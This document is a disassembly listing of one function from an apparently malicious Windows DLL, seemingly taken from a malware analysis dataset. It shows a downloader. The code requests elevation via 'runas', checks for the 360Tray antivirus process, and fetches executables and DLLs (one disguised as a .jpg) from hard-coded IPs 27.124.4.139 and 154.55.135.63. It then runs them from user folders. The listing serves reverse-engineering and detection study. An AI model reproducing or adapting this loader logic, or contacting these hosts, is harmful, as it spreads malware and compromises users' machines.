Function at 0x10004380
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x194
mov eax, dword [0x10034028]
xor eax, esp
mov dword [esp + 0x190], eax
push esi
push str.29544E05_024F_4BC1_A272_452DBC8E17A4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jne 0x10004440
push 0x104
push eax
lea eax, [esp + 0x90]
push eax
call fcn.1000a070
add esp, 0xc
lea eax, [esp + 0x88]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x38
lea eax, [esp + 0xc]
mov dword [esp + 8], 0x3c
push 0
push eax
call fcn.1000a070
add esp, 0xc
mov dword [esp + 0x10], str.runas
lea eax, [esp + 0x88]
mov dword [esp + 0x20], 1
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x100046d1
call esi
cmp eax, 0x4c7
je 0x10004440
cmp eax, 2
jne 0x100046d1
call fcn.10002610
push 0x10
push 0
push 0x100305f0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push str.360Tray.exe
lea ecx, [esp + 0x74]
call fcn.10005a00
push str.360tray.exe
lea ecx, [esp + 0x5c]
call fcn.10005a00
lea ecx, [esp + 0x70]
call fcn.10002800
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
test al, al
je 0x1000452c
mov edx, str.C:Userswegame.exe
mov ecx, str.http:__27.124.4.139_wegame.exe
call fcn.10002920
mov edx, str.C:UsersLua51.dll
mov ecx, str.http:__27.124.4.139_Lua51.dll
call fcn.10002920
mov edx, str.C:Userscommon.dll
mov ecx, str.http:__27.124.4.139_common.dll
call fcn.10002920
mov edx, str.C:Users_adapt_for_imports.dll
mov ecx, str.http:__27.124.4.139_adapt_for_imports.dll
call fcn.10002920
mov edx, str.C:Users_beacon_sdk.dll
mov ecx, str.http:__27.124.4.139_beacon_sdk.jpg
call fcn.10002920
push 0
push 0
push 0
push str.C:Userswegame.exe
push str.open
push 0
call esi
lea ecx, [esp + 0x40]
call fcn.10002120
call fcn.10002610
mov ecx, dword [esp + 0x54]
cmp ecx, 0x10
jb 0x1000452c
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004522
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100046e0
push ecx
push edx
call fcn.100085c8
add esp, 8
lea ecx, [esp + 0x58]
call fcn.10002800
test al, al
je 0x100045e0
mov edx, str.C:Userswegame.exe
mov ecx, str.http:__27.124.4.139_wegame.exe
call fcn.10002920
mov edx, str.C:UsersLua51.dll
mov ecx, str.http:__27.124.4.139_Lua51.dll
call fcn.10002920
mov edx, str.C:Userscommon.dll
mov ecx, str.http:__27.124.4.139_common.dll
call fcn.10002920
mov edx, str.C:Users_adapt_for_imports.dll
mov ecx, str.http:__27.124.4.139_adapt_for_imports.dll
call fcn.10002920
mov edx, str.C:Users_beacon_sdk.dll
mov ecx, str.http:__27.124.4.139_beacon_sdk.jpg
call fcn.10002920
push 0
push 0
push 0
push str.C:Userswegame.exe
push str.open
push 0
call esi
lea ecx, [esp + 0x40]
call fcn.10002120
call fcn.10002610
mov ecx, dword [esp + 0x54]
cmp ecx, 0x10
jb 0x100045e0
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100045d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100046e0
push ecx
push edx
call fcn.100085c8
add esp, 8
mov edx, str.C:UsersPublic2.exe
mov ecx, str.http:__27.124.4.139_3.exe
call fcn.10002920
mov edx, str.C:UsersPubliclibcef.dll
mov ecx, str.http:__27.124.4.139_libcef1.dll
call fcn.10002920
call fcn.10002610
push 0
push 0
push 0
push str.C:UsersPublic2.exe
push str.open
push 0
call esi
call fcn.10002ab0
call fcn.10003680
mov edx, str.C:qq.exe
mov ecx, str.http:__154.55.135.63_qqqqq.exe
call fcn.10002920
call fcn.10002610
push 0
push 0
push 0
push str.C:qq.exe
push str.open
push 0
call esi
mov ecx, dword [esp + 0x6c]
cmp ecx, 8
jb 0x10004681
mov edx, dword [esp + 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10004677
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100046e0
push ecx
push edx
call fcn.100085c8
add esp, 8
mov ecx, dword [esp + 0x84]
cmp ecx, 8
jb 0x100046bc
mov edx, dword [esp + 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100046b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100046e0
push ecx
push edx
call fcn.100085c8
add esp, 8
mov ecx, dword [esp + 0x194]
xor eax, eax
pop esi
xor ecx, esp
call fcn.10008585
mov esp, ebp
pop ebp
ret
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.1000d175
call fcn.10010aa5
int3